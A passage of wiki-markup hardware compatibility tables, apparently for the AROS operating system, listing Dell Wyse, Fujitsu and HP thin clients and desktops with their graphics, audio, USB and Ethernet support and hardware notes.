* 2013 Quad-core AMD GX-420CA 2.0 GHz (25W) - 
* 2018 Zx0Q Quad-core AMD GX-415GA 1.5 GHz (15W) with Quad display 3dp and 1dvi 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 sata port 
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d only for AMD Radeon HD8400E radeonsi (dual display) or AMD Radeon HD 8330E IGP with AMD Radeon E6240 Seymour E6460 (quad display), no hdmi ports}}
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;4 x USB2.0 works but 2 USB3.0
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2013 64bit does support AVX or SSE 4.1 quad eKabini Jaguar cores - two SODIMM sockets layered in centre of mobo DDR3L RAM - Coax 5.5mm/2.5mm ac psu 9mm plug is too short but 14mm length is fine - 15cm/6&quot; high smaller 1ltr case and lack of expansion options - 
|-
| &lt;!--Name--&gt;Dell Wyse Dx0Q (5020) D90Q8 NJXG4 AMD G-Series 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 sata port 
| &lt;!--Gfx--&gt;HD 8330E 
| &lt;!--Audio--&gt; with Realtek codec 
| &lt;!--USB--&gt;4 x USB2.0 works but 2 USB3.0 
| &lt;!--Ethernet--&gt;rtl8169 Realtek 8169 8111 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2014 64bit does support AVX or SSE 4.1 Quad-core AMD GX-415GA 1.5 GHz - 2 layered near edge of mobo 204-pin DDR3L SODIMM (bottom one tricky to insert) - 19v Coax 5.5mm/2.5mm - passive no fan - 15cm/6&quot; high smaller 1ltr case and lack of expansion options 
|-
| &lt;!--Name--&gt;Dell Wyse 5060 N07D thin client 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Yes|IDE bios mode for sata2 port}}
| &lt;!--Gfx--&gt;{{maybe|Vesa 2d - AMD R5E GCN2 IGP Sea Islands thru dp1 with an hdmi adapter no output thru dp2 - no hdmi dvi ports}} 
| &lt;!--Audio--&gt;{{maybe|HD Audio with Realtek ALC231 codec head phones only}}
| &lt;!--USB--&gt;{{Maybe|4 x USB2.0 works but 2 USB3.0}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 realtek 8169 8111h}}
| &lt;!--Test Distro--&gt;AROS One 1.6 usb 
| &lt;!--Comments--&gt;2017 64bit does support AVX or SSE 4.1 quad GX-424CC 19.5v external psu - CN-0Y62H1 mobo with 2 layered ddr3l 16Gb max sodimm slots at edge of mobo, bottom 0 one blocking - passive no fan so quiet - 15cm/6&quot; high smaller 1ltr case and lack of expansion options - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}


====Fujitsu Siemens====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;15%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Scenic [http://uk.ts.fujitsu.com/rl/servicesupport/techsupport/ProfessionalPC/Scenic/ScenicE/ScenicE.htm E600] (compact desktop)
| 
| 
| {{partial|VESA only}}
| {{yes|AC97}}
| 
| {{no|Intel PRO/1000}}
| {{dunno}}
| Nice small, silent PC with good AROS support.
|-
| Scenic T i845
| {{dunno}}
| {{n/a}}
| {{n/a}}
| {{dunno|Intel AC97}}
| {{dunno|UHCI}}
| {{dunno|Intel PRO/100}}
| Icaros 1.5.2
| AROS does not boot 
|-
| &lt;!--Name--&gt;Futro S200 S210 S220 and later S300 
| &lt;!--IDE--&gt;{{yes| compactflash CF card max ??}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA Silicon Integrated Systems [SiS] 315PRO PCI/AGP }}
| &lt;!--Audio--&gt;{{unk|AC97 via }}
| &lt;!--USB--&gt;{{unk|via uhci and ehci}}
| &lt;!--Ethernet--&gt;{{unk|via VT6102 [Rhine-II] (rev 74) }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 32bit - TR5670 Rev 1.4 mother with Transmeta TM5800 cpu - pci socket - single SODIMM socket for DDR memory PC2700S max 512MB - 
|-
| &lt;!--Name--&gt;Futro S400
| &lt;!--IDE--&gt;{{yes| but swap with compactflash CF card already with AROS installed}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA Silicon Integrated Systems [SiS] SiS741CX }}
| &lt;!--Audio--&gt;{{unk|AC97 SiS7018}}
| &lt;!--USB--&gt;{{unk|sis uhci and ehci}}
| &lt;!--Ethernet--&gt;{{unk|rtl8169 }}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 32bit - AMD Geode NX1500 1GHz gets hot - SiS 963L / SiS 741CX chipset - 12V 4.2A 4-pin (DP-003-R) psu - single SODIMM socket for DDR PC2700S max 1G - large case 246 x 48 x 177cms torx screws - pci socket - 
|-
| &lt;!--Name--&gt;FUJITSU Futro S700 and S900 Thin Client (based on mini-ITX motherboard D3003-A12, D3003-C1 lesser variant of [https://www.parkytowers.me.uk/thin/Futro/s900/TechNotes_V3.1_Mini-ITX_D3003-S.pdf D3003-S]) 
*G-T56N 1.65GHz
*G-T40N 1.00GHz
*G-T44R 1.20GHz 
| &lt;!--IDE--&gt;{{N/A}} 
| &lt;!--SATA--&gt;1 sata data socket but mSata 18+8pins 1GB-16GB 
| &lt;!--Gfx--&gt;Radeon HD 6320, HD 6250, HD 6290 dvi or displayport (DP runs higher) 
| &lt;!--Audio--&gt;HDAudio
| &lt;!--USB--&gt;{{yes|two USB2 front sockets and four on the rear}}
| &lt;!--Ethernet--&gt;{{Maybe|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2011 64bit AMD slow atom-like and fanless - 20V 2A psu 5.5mm/2.1mm coax (S900) - 2 DDR3L SODIMM sockets max 8GB tricky to run 1333 MHz on the Futro S900 - proprietary X2 PCI-e - 1 PCI socket but need a right-angle adaptor - 
|-
| &lt;!--Name--&gt;esprimo p420 e85 desktop case 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|IDE mode}}
| &lt;!--Gfx--&gt;Intel 4600 or old Geforce in pci-e slot 
| &lt;!--Audio--&gt;HDAudio realtek alc671 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 8111 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2013 64bit - 2 ddr3 dimm slots - 16 pin special psu - 
|-
| &lt;!--Name--&gt;esprimo E420 e85+ SFF case 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{Maybe|IDE mode}}
| &lt;!--Gfx--&gt;Intel 4600 or low profile pci-e card 
| &lt;!--Audio--&gt;HDAudio realtek alc671 codec 
| &lt;!--USB--&gt;USB3 
| &lt;!--Ethernet--&gt;rtl8169 8111G 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2013 64bit - 2 ddr3 dimm slots - 16ish pin special psu - hd under front metal bracket, take front cover off first with 3 tabs - 3 slim pci-e slots - 
|-
| &lt;!--Name--&gt;Futro S520 AMD dual 1.0Ghz codenamed &quot;Steppe Eagle&quot;
* GX-210HA @ 1.0GHz
* GX-212ZC @ 1.2GHz
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;no sata - 4Gb or 16Gb flash memory soldered to the board
| &lt;!--Gfx--&gt;AMD Radeon HD 8210E (GX210HA) or AMD Radeon R1E (GX212ZC)
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;rtl8169 rtl8111e 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 - smaller than ITX 160mm x 160mm Fujitsu D3314-A11 - 19V 3.4A PSU standard 5.5mm/2.1mm coax plug - 1 ddr3 sodimm slot - 
|-
| &lt;!--Name--&gt;Fujitsu Futro S720 ThinClient D3313-B13 D3313-F
*2014 64bit AMD GX-217GA 1.65GHz VFY:S0720P8009FR VFY:S0720P8008DE VFY:S0720P4009GB
*2015 64bit AMD GX-222GC 2.20GHz VFY:S0720P702BDE VFY:S0720P702BFR 
 all begin VFY:S0720P and end two digit country code
| &lt;!--IDE--&gt; {{N/A|}}
| &lt;!--SATA--&gt; {{Yes|up to 2 Sata-cable-connector with space in casing so normal SSD/HDD over Sata was running very well on AHCI and IDE-Mode and 2242 mSata}}
| &lt;!--Gfx--&gt; {{Maybe|use VESA 2D for AMD Radeon HD 8280E IGP ( islands) or later R5E IGP ( islands)}} 
| &lt;!--Audio--&gt; {{yes|HDAudio ALC671 codec partially working, external audio speaker}}
| &lt;!--USB--&gt; {{yes|4 rear USB 2.0 but not front 2 USB 3.1}}
| &lt;!--Ethernet--&gt;{{yes|rtl8169 Realtek 8169}}
| &lt;!--Test Distro--&gt;AROS One USB 2.0
| &lt;!--Comments--&gt;2014 64bit supports AVX and SSE 4.1 - 1 ddr3 Sodimm slot max 8Gb - 19V-20V 2A 5.5mm/2.5mm coax - D3313-B13 stripped down Mini-ITX mobo D3313-S1/-S2/-S3 (eKabini) D3313-S4/-S5/-S6 - SATA data socket can be located under the fins of the cpu heatsink is fanless - mPCIe socket for wireless card - 
|-
| &lt;!--Name--&gt;Fujitsu FUTRO S920 D3313-E	D3313-G
*2016 AMD GX-222GC SOC 2.20GHz Dual 
*2017 AMD G-Series GX-415GA (1.50 GHz, Quad Core, 2 MB, AMD Radeon™ HD 8330E) 
*2017 AMD G-Series GX-424CC 2.40 GHz Quad
| &lt;!--IDE--&gt; {{N/A}}
| &lt;!--SATA--&gt; {{yes|2242 mSata and 1 Sata-cable-connector with space in casing so normal SSD/HDD over Sata possible}}
| &lt;!--Gfx--&gt; {{yes|use VESA 2D for Radeon R5E GCN2/3 IGP}}
| &lt;!--Audio--&gt; {{yes|HDAudio ALC671 codec partially working}}
| &lt;!--USB--&gt; {{yes|4 rear USB 2.0, front 2 USB 3.1 downgradable to 2.0 in BIOS setting}}
| &lt;!--Ethernet--&gt; {{yes|rtl8169 Realtek 8169}}
| &lt;!--Test Distro--&gt; AROS One USB 2.4
| &lt;!--Comments--&gt;2016 64bit does support AVX or SSE 4.1 - 2 so dimm slot with max of 8 GB - 19v barrel psu 5.5mm 2.5mm - SATA data socket can be located under the fins of the heatsink - mPCIe a e keyed socket for wireless card - propetary X2 connector with official raizer to X1 connector - almost silent background noise, not affecting sound quality in any way 
|-
| &lt;!--Name--&gt;Fujitsu Thin Client Futro S5011 S7011 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;NVMe 
| &lt;!--Gfx--&gt;{{maybe|Vesa 2D for AMD Vega 3 on 2 dp 1.4}}
| &lt;!--Audio--&gt;{{No|HDAudio with ALC623 codec}}
| &lt;!--USB--&gt;{{maybe|USB3 USB 3.2 Gen 2 front and 3 usb2 rear  }}
| &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2019 64bit - AMD Ryzen Dual Core R1305G or R1505G 1ltr case - 2 ddr4 sodimm slots - TPM 2.0 - 19v 3.42amp round coax or usb-c 20c 3.25a external psu - 
|-
| &lt;!--Name--&gt;Fujitsu FUTRO S9011 Thin Client VFY:S9011THU1EIN || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;NVMe || &lt;!--Gfx--&gt;{{maybe|Vesa 2D for AMD Vega 3 on 2 dp 1.4}} || &lt;!--Audio--&gt;{{No|HDAudio with ALC623 codec}} || &lt;!--USB--&gt;{{maybe|USB3 USB 3.2 Gen 2 front and 3 usb2 rear }} || &lt;!--Ethernet--&gt;rtl8169 Realtek RTL8111H || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2020 64bit Ryzen Embedded R1606G - 2 ddr4 sodimm slots - TPM 2.0 - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}

====HP Compaq====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;Compaq presario 7360
| &lt;!--IDE--&gt;{{yes|Working}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Maybe|VESA}}
| &lt;!--Audio--&gt;{{Maybe|AC97 via}}
| &lt;!--USB--&gt;{{Maybe|issues}}
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Compaq EP Series 6400/10
| &lt;!--IDE--&gt; {{yes|IDE}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{N/A}}
| &lt;!--Audio--&gt; {{no|ISA}}
| &lt;!--USB--&gt; {{yes|USB 1.1}}
| &lt;!--Ethernet--&gt; {{N/A}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Compaq Evo D510
| {{yes|Working}}
| {{N/A}}
| {{partial|Intel Extreme (VESA only)}}
| {{yes|AC97}}
| {{yes|Working}}
| {{yes|Intel PRO/100}}
| Icaros 1.5
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Compaq DX2000 MT
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{maybe|Intel Extreme 2 (VESA only)}} 
| &lt;!--Audio--&gt;{{no|detects AC97 but no support for ADI AD1888 codec}}
| &lt;!--USB--&gt;{{yes|OHCI/EHCI }}
| &lt;!--Ethernet--&gt;{{no|Intel 82526EZ e1000}}
| &lt;!--Test Distro--&gt; Icaros 1.51
| &lt;!--Comments--&gt;boots ok but no audio 
|-
| &lt;!--Name--&gt;Compaq DX 2200
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{maybe}}
| &lt;!--Gfx--&gt;{{maybe|RC410 [Radeon Xpress 200] (VESA only)}} 
| &lt;!--Audio--&gt;{{dunno|HD Audio}}
| &lt;!--USB--&gt;{{maybe|OHCI/EHCI issues }}
| &lt;!--Ethernet--&gt;{{N/A}}
| &lt;!--Test Distro--&gt; {{dunno}}
| &lt;!--Comments--&gt;issues 
|-
| &lt;!--Name--&gt; d230
| &lt;!--IDE--&gt; {{yes|UDMA}}
| &lt;!--SATA--&gt; {{N/A}}
| &lt;!--Gfx--&gt; {{partial|Intel Extreme (VESA only)}}
| &lt;!--Audio--&gt; {{partial|Intel AC97 (speaker and headphones only, no line-out)}}
| &lt;!--USB--&gt; {{yes|USB}}
| &lt;!--Ethernet--&gt; {{Maybe|Broadcom BCM4401}}
| &lt;!--Test Distro--&gt; Icaros 1.4.5
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;HP Pavilion a220n || &lt;!--IDE--&gt;{{Yes}} || &lt;!--SATA--&gt;{{N/A}} || &lt;!--Gfx--&gt;{{Yes|VESA 1024x768 on nVidia GF4 MX with 64MB shared video ram}} || &lt;!--Audio--&gt;{{Yes|Realtek ALC650 AC'97 comp.}} || &lt;!--USB--&gt;{{Yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{Yes|Realtek 8201BL 10/100 LAN}} || &lt;!--Test Distro--&gt;AROS One 2.5|| &lt;!--Comments--&gt;2004 32bit athlon xp 2600+ Socket 462 / Socket A - 2 dimm ddr pc2700 - 
|-
| &lt;!--Name--&gt;t500 
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{Yes|FX5200 (2D; 3D with older driver)}} 
| &lt;!--Audio--&gt;{{Yes|AC97 ICH4 ALC658D}}
| &lt;!--USB--&gt;{{Yes|UHCI/EHCI}}
| &lt;!--Ethernet--&gt;{{Yes|RTL 8101L 8139}}
| &lt;!--Test Distro--&gt;Nightly Build 2012-09-22
| &lt;!--Comments--&gt;2004 
|-
| &lt;!--Name--&gt;DC7700
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{Yes}}
| &lt;!--Gfx--&gt;{{Yes|GMA 2D}}
| &lt;!--Audio--&gt;{{Yes| ICH8}}
| &lt;!--USB--&gt;{{Yes}}
| &lt;!--Ethernet--&gt;{{No|82566DM e1000e}}
| &lt;!--Test Distro--&gt;Nightly Build 2013-??-??
| &lt;!--Comments--&gt;2006 Some support at low cost 
|-
| &lt;!--Name--&gt;HP dc 7600 CMT
| &lt;!--IDE--&gt; 
| &lt;!--SATA--&gt; 
| &lt;!--Gfx--&gt;{{Yes|Intel Graphics Media Accelerator 950}}
| &lt;!--Audio--&gt;{{Yes|Realtek ACL 260}}
| &lt;!--USB--&gt;{{Yes|USB 2.0}}
| &lt;!--Ethernet--&gt;{{No|Intel PRO/1000 GT}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;HP t5000 thin client series t5500 t5510 t5515 PC538A or PC542A t5700 t5710 Transmeta Crusoe Code Morphing TM 5400 5600 800Mhz
| &lt;!--IDE--&gt;128mb to 512MB 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;Ati Radeon 7000M 
| &lt;!--Audio--&gt;VIA  with codec 
| &lt;!--USB--&gt;{{No|Issues}}
| &lt;!--Ethernet--&gt;VIA Rhine 2
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2006 32bit - ddr max 1GB - F10 setup - all t51xx and some t55xx units will not include a SODIMM slot - 
|-
| &lt;!--Name--&gt;HP t5000 thin client series CN700 
*HSTNC-002L-TC	t5135, t5530 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d 128Mb Via S3 32-bit colour
| &lt;!--Audio--&gt;AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;VIA VT6102 VT6103 [Rhine-II] (rev 78) 
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit t5135 appears identical to the t5530 except the CPU VIA Esther 400 MHz - RAM 64Mb (? max) - 8 x USB2.0 - 12V 3.33A Coax 5.5mm/2.1mm 
|-
| &lt;!--Name--&gt;HP t5720, t5725 HSTNC-001L-TC 
| &lt;!--IDE--&gt;{{unk| }}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;VESA 2d SiS741GX 2048 x 1536 32-bit colour
| &lt;!--Audio--&gt;AC97 SiS SiS7012 AC'97 
| &lt;!--USB--&gt;6 x USB2.0
| &lt;!--Ethernet--&gt;VIA VT6102 VT6103 [Rhine-II] (rev 8d)
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2007 32bit AMD Geode NX1500 1GHz socketed - RAM 512MB or 1GB, 256MB, 512MB or 1GB - 12V psu - sis DDMA support - custom 1.13 BIOS - pci low profile - 
|-
| &lt;!--Name--&gt;t5000 series VX800 HSTNC-004-TC t5145, t5540, t5545, t5630 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d VIA Chrome9 
| &lt;!--Audio--&gt;HD Audio VIA 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|VT6120 VT6121 VT6122 Gigabit (rev 82)}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 32bit   - RAM 64Mb (? max) - 8 x USB2.0 - 12V 4.16A Coax: 5.5mm/2.1mm - 
|-
| &lt;!--Name--&gt;t5730w HSTNC-003-TC t5730 
| &lt;!--IDE--&gt;{{n/a|ATA 44pin DOM Flash}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d ATI Radeon X1250 2048 x 1536 no 3D 
| &lt;!--Audio--&gt;HD audio with  codec 
| &lt;!--USB--&gt;{{Yes|6 x USB2.0}}
| &lt;!--Ethernet--&gt;{{No|Broadcom 5707M tg3 10/100/1000}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2008 64bit AMD Sempron 2100+ 1GHz - 1 slot of ddr2 sodimm (Max 2GB) - 12V 4.16A Coax 5.5mm/2.1mm - F10  enter bios F12 boot devices - 
|-
| &lt;!--Name--&gt;HSTNC-005-TC gt7720, gt7725 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d AMD RS780G HD 3200 - 2560 x 1600 DVI-D &amp; DVI-H
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;8 x USB2.0
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM5787M}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2009 64bit AMD Turion Dual Core CPU 2.3GHz - 1 DDR2 200-pin SODIMM - 19V 4.16A Coax 7.4mm/5.0mm (gt7725) - 
|-
| &lt;!--Name--&gt;HP t5740 Thin Client HSTNC-006-TC t5740, t5745, st5742 
| &lt;!--IDE--&gt;1 port 
| &lt;!--SATA--&gt;1 port 
| &lt;!--Gfx--&gt;{{Maybe|VESA for Intel CL40 VGA and DisplayPort connectors}}
| &lt;!--Audio--&gt;{{Yes|HD audio with IDT codec}}
| &lt;!--USB--&gt;{{Maybe| }}
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM57780 Gigabit}}
| &lt;!--Test Distro--&gt;Nightly build and Icaros 
| &lt;!--Comments--&gt;2009 32bit Atom N280 - F10 on power up to get into the BIOS screens. F12 brings up the boot options - hp 19V one with a coax connector, outer diameter 4.8mm with inner to be 1.7mm to 1.4mm - 2 ddr3 sodimm slots max 3gb due to 32bit - 1 pci-e slot completely non standard - 
|-
| &lt;!--Name--&gt;t5000 series HSTNC-012-TC VIA Nano u3500 VX900 
*t5550 512MB/1GB Windows CE6 R3
*t5565 1GB/1GB HP ThinPro
*t5570 2GB/1GB WES 2009 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;Vesa 2d VIA ChromotionHD 2.0 GPU Chrome9 
| &lt;!--Audio--&gt;VIA 9170 VT1708S codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM57780 Gigabit}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;32bit - 1 sodimm - 19V 3.42A supply connector standard yellow-tip coax plug 4.8mm/1.8mm &quot;Standard HP Compaq DC Power Plug 4.8mm x 1.5mm / 1.7mm Yellow Tip Connector - 
|-
| &lt;!--Name--&gt;HP t510 Via Eden X2 U4200 HSTNC-012-TC shares features with t5570e, t5565z 
| &lt;!--IDE--&gt;2G ATA Flash DOM
| &lt;!--SATA--&gt;one 
| &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for Chrome9 VIA ChromotionHD 2.0 gfx}}
| &lt;!--Audio--&gt;{{Maybe|VIA VT8237A VT8251 HDA with  codec}}
| &lt;!--USB--&gt;{{Maybe|6 USB2 }}
| &lt;!--Ethernet--&gt;{{No|Broadcom Corporation NetLink BCM57780 Gigabit Ethernet PCIe}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 32bit - one slot ddr3 sodimm max 4GB - 19V 3.42A Coax 4.8mm/1.8mm - 
|-
| &lt;!--Name--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || IDE || SATA || Gfx || Audio || USB || Ethernet || Test Distro || Comments 
|-
| &lt;!--Name--&gt;HP T610 Thin Client and thicker PLUS version AMD G-T56N A55E 
| &lt;!--IDE--&gt;{{Maybe|}}
| &lt;!--SATA--&gt;2 sata 
| &lt;!--Gfx--&gt;Radeon 6320 1 dp port 1 dvi 
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;two USB2 on the front, two USB2 and two USB 3 ports on the rear 
| &lt;!--Ethernet--&gt;{{No|Broadcom BCM57780}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2010 64bit does not support AVX SSE 4.1 - 2 204-pin DDR3 1600MHz SODIMMs PC3-12800 under motherboard via removable panel - 19.5V 3A Coax male 7.4mm/5.0mm + centre pin - 
|-
| &lt;!--Name--&gt;HP T420 Thin Client 
*AMD Embedded G-Series GX-209JA SOC (1 GHz, 2 cores) 
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;Radeon 8180 dvi vga 
| &lt;!--Audio--&gt;HDAudio with ALC codec 
| &lt;!--USB--&gt;2 front 2 rear USB2 
| &lt;!--Ethernet--&gt;{{Yes|Realtek}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2015 64bit supports AVX SSE 4.1 - soldered in place 2GB DDR3 - smaller than usual 19.5V 2.31A Coax male 4.5mm/3.0mm + centre pin - usb stick internal for storage - E15 BBR - 
|-
| &lt;!--Name--&gt;HP t520 TPC-W016 
*AMD GX-212JC 1.2Ghz (2 core)
| &lt;!--IDE--&gt;{{N/A}}
| &lt;!--SATA--&gt;1 m.2 mounting holes for 2242 and 2260 SSDs SATA (not NVME) 
| &lt;!--Gfx--&gt;Radeon R2E GCN2 IGP Sea Islands
